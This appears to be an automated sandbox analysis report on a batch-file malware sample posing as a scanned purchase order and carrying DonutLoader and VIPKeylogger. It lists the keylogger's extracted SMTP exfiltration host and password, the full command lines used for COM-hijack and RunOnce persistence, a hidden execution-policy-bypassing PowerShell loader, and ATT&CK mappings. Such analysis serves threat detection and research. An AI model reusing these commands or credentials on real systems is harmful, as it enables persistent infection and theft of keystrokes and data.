Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 04:22
General
- Target Scan_Doc-PO-07980-PR-069-MQ-06979-2026.bat
- Size 162KB
- Sample260423-eze92sgy5k
- SHA256 3d1e3cfc07f4abf9eb6c19b18d6f0b95c65e21e1f23b43526078d42bd3d99083
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.spacaex.com
-
Port
587
-
Username
-
Password
d!+L4UyRYkucBiOJ
-
Email to
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Scan_Doc-PO-07980-PR-069-MQ-06979-2026.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Scan_Doc-PO-07980-PR-069-MQ-06979-2026.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\method.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{72C6B543-F711-2A00-EECC-AD25B2BCBA83}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{72C6B543-F711-2A00-EECC-AD25B2BCBA83}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{72C6B543-F711-2A00-EECC-AD25B2BCBA83}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Child" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\method.bat\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Load.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Trick.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Trick.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\np5qxk42\np5qxk42.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES197E.tmp" "c:\Users\Admin\AppData\Local\Temp\np5qxk42\CSCBB157394B29749E095902592BC4547D0.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Load.tmp
Load.tmp
RES197E.tmp
Trick.ps1
__PSScriptPolicyTest_okqfeeh0.kc3.ps1
np5qxk42.dll
method.bat
CSCBB157394B29749E095902592BC4547D0.TMP
np5qxk42.0.cs
np5qxk42.cmdline
memory/1072-40-0x000001AFF6B30000-0x000001AFF6B40000-memory.dmp
memory/1072-39-0x000001AFF6B30000-0x000001AFF6B40000-memory.dmp
memory/1072-41-0x000001AFF6AC0000-0x000001AFF6AE2000-memory.dmp
memory/1740-75-0x000002365A3B0000-0x000002365A3B8000-memory.dmp
memory/3256-102-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-111-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-80-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-81-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-82-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-83-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-84-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-85-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-86-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-87-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-88-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-89-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-90-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-91-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-92-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-93-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-94-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-95-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-96-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-97-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-98-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-99-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-101-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-100-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-76-0x00000000026E0000-0x00000000026F6000-memory.dmp
memory/3256-104-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-106-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-105-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-103-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-107-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-108-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-109-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-110-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-78-0x0000000008930000-0x000000000897A000-memory.dmp
memory/3256-112-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-113-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-114-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-117-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-115-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-116-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-118-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-119-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-123-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-122-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-121-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-120-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-124-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-125-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-126-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-127-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-129-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-130-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-131-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-132-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-133-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-134-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-135-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-137-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-140-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-139-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-138-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-136-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-141-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-142-0x0000000008E40000-0x0000000008E50000-memory.dmp
memory/3256-143-0x0000000008E40000-0x0000000008E50000-memory.dmp